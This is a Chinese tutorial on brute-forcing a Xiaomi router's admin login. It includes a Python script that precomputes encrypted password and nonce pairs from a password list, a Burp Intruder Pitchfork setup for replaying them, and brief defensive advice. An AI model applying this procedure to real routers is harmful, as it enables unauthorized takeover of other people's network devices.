小米路由器管理员密码爆破分析
字数 1442 2025-08-15 21:33:37

小米路由器管理员密码爆破分析教学文档

1. 背景与目的

目标:当小米路由器管理员密码未知时,通过爆破手段获取管理员权限。

技术要点

  • 分析密码加密机制
  • 逆向前端加密逻辑
  • 构建自动化爆破流程
  • 使用Burp Suite进行实际攻击

2. 工具准备

  • Burp Suite:用于拦截和分析HTTP请求
  • Python 3.7+:编写自动化脚本
  • 文本编辑器:查看和修改JS代码
  • 字典文件:包含常用密码的文本文件(如top100PWD.txt)

3. 技术分析流程

3.1 抓包分析

  1. 访问路由器管理界面(默认地址192.168.31.1)
  2. 输入测试密码(如"123")并使用Burp Suite拦截请求
  3. 关键发现:
    • 即使输入相同密码,每次请求的passwordnonce字段值都不同
    • 说明密码在客户端进行了加密处理
    • 加密过程包含随机数(nonce)参与

3.2 前端源码分析

  1. 通过浏览器开发者工具(F12)分析登录按钮(btnRtSubmit)的点击事件
  2. 定位到loginHandle方法
  3. 密码加密流程:
    • 调用Encrypt方法
    • 具体使用oldPwd函数
    • 依赖aes.jssha1.js加密库

3.3 加密机制逆向

加密过程关键点:

  1. 前端生成随机数(nonce)
  2. 密码与nonce结合进行加密
  3. 使用AES和SHA1算法
  4. 最终生成动态变化的password字段

4. 爆破脚本开发

4.1 修改JS代码

需要修改Encrypt.js文件:

  1. 重构loginHandle函数使其可被外部调用
  2. 确保包含完整的加密逻辑(AES+SHA1)
  3. 输出格式为[password, nonce]

4.2 Python脚本实现

import urllib
import execjs  # 导入PyExecJS库

def get_js():
    # 导入js文件
    f = open("Encrypt.js", 'r', encoding='UTF-8')
    line = f.readline()
    htmlstr = ''
    while line:
        htmlstr = htmlstr + line
        line = f.readline()
    return htmlstr

jsstr = get_js()
ctx = execjs.compile(jsstr)

def creative_book():
    # 创建密文密码字典
    f = open("top100PWD.txt")
    for line in f:
        r = line.strip('\n')
        utf = ctx.call('loginHandle', r)
        h = open('adobe_top100_pass_creative.txt', 'a')
        h1 = open('adobe_top100_pass_creative_random.txt', 'a')
        h.write("\n" + utf[0])
        h1.write("\n" + urllib.parse.quote(utf[1]))
        print(utf[0], urllib.parse.quote(utf[1]))
        h.close()
        h1.close()
    f.close()

creative_book()

4.3 生成字典文件

脚本会生成两个文件:

  1. adobe_top100_pass_creative.txt:存储加密后的password
  2. adobe_top100_pass_creative_random.txt:存储对应的nonce值

5. Burp Suite爆破实施

5.1 攻击配置

  1. 将登录请求发送到Intruder
  2. 选择Pitchfork攻击类型(需要同时爆破两个相关字段)
  3. 设置攻击位置:
    • password参数
    • nonce参数

5.2 载荷设置

  1. password字段加载adobe_top100_pass_creative.txt
  2. nonce字段加载adobe_top100_pass_creative_random.txt
  3. 确保两个字典的行数一致(一一对应)

5.3 结果分析

  1. 攻击完成后按响应长度排序
  2. 查找异常长度的响应
  3. 检查响应中的code字段:
    • code: 0表示成功(会返回token)
    • 其他值表示失败

6. 成功验证

  1. 找到成功的请求后,记录对应的password和nonce组合
  2. 使用这些值构造合法请求
  3. 获取管理员token,实现权限提升

7. 防御建议

针对路由器管理员

  1. 使用强密码(避免常见密码)
  2. 定期更改管理员密码
  3. 启用登录失败锁定机制

针对开发者

  1. 增加服务端加密salt
  2. 实施请求频率限制
  3. 添加验证码机制

8. 参考资源

  1. 源代码仓库
  2. Burp Suite使用指南
  3. 加密算法分析参考

本教学文档完整呈现了从小米路由器管理员密码爆破的全过程,包含技术分析、工具使用和实际攻击步骤,同时提供了防御建议。请注意此类技术仅应用于合法授权测试,未经授权的访问可能违反法律。

小米路由器管理员密码爆破分析教学文档 1. 背景与目的 目标 :当小米路由器管理员密码未知时,通过爆破手段获取管理员权限。 技术要点 : 分析密码加密机制 逆向前端加密逻辑 构建自动化爆破流程 使用Burp Suite进行实际攻击 2. 工具准备 Burp Suite :用于拦截和分析HTTP请求 Python 3.7+ :编写自动化脚本 文本编辑器 :查看和修改JS代码 字典文件 :包含常用密码的文本文件(如top100PWD.txt) 3. 技术分析流程 3.1 抓包分析 访问路由器管理界面(默认地址192.168.31.1) 输入测试密码(如"123")并使用Burp Suite拦截请求 关键发现: 即使输入相同密码,每次请求的 password 和 nonce 字段值都不同 说明密码在客户端进行了加密处理 加密过程包含随机数(nonce)参与 3.2 前端源码分析 通过浏览器开发者工具(F12)分析登录按钮( btnRtSubmit )的点击事件 定位到 loginHandle 方法 密码加密流程: 调用 Encrypt 方法 具体使用 oldPwd 函数 依赖 aes.js 和 sha1.js 加密库 3.3 加密机制逆向 加密过程关键点: 前端生成随机数(nonce) 密码与nonce结合进行加密 使用AES和SHA1算法 最终生成动态变化的password字段 4. 爆破脚本开发 4.1 修改JS代码 需要修改 Encrypt.js 文件: 重构 loginHandle 函数使其可被外部调用 确保包含完整的加密逻辑(AES+SHA1) 输出格式为 [password, nonce] 4.2 Python脚本实现 4.3 生成字典文件 脚本会生成两个文件: adobe_top100_pass_creative.txt :存储加密后的password adobe_top100_pass_creative_random.txt :存储对应的nonce值 5. Burp Suite爆破实施 5.1 攻击配置 将登录请求发送到Intruder 选择 Pitchfork 攻击类型(需要同时爆破两个相关字段) 设置攻击位置: password 参数 nonce 参数 5.2 载荷设置 为 password 字段加载 adobe_top100_pass_creative.txt 为 nonce 字段加载 adobe_top100_pass_creative_random.txt 确保两个字典的行数一致(一一对应) 5.3 结果分析 攻击完成后按响应长度排序 查找异常长度的响应 检查响应中的 code 字段: code: 0 表示成功(会返回token) 其他值表示失败 6. 成功验证 找到成功的请求后,记录对应的password和nonce组合 使用这些值构造合法请求 获取管理员token,实现权限提升 7. 防御建议 针对路由器管理员 : 使用强密码(避免常见密码) 定期更改管理员密码 启用登录失败锁定机制 针对开发者 : 增加服务端加密salt 实施请求频率限制 添加验证码机制 8. 参考资源 源代码仓库 Burp Suite使用指南 加密算法分析参考 本教学文档完整呈现了从小米路由器管理员密码爆破的全过程,包含技术分析、工具使用和实际攻击步骤,同时提供了防御建议。请注意此类技术仅应用于合法授权测试,未经授权的访问可能违反法律。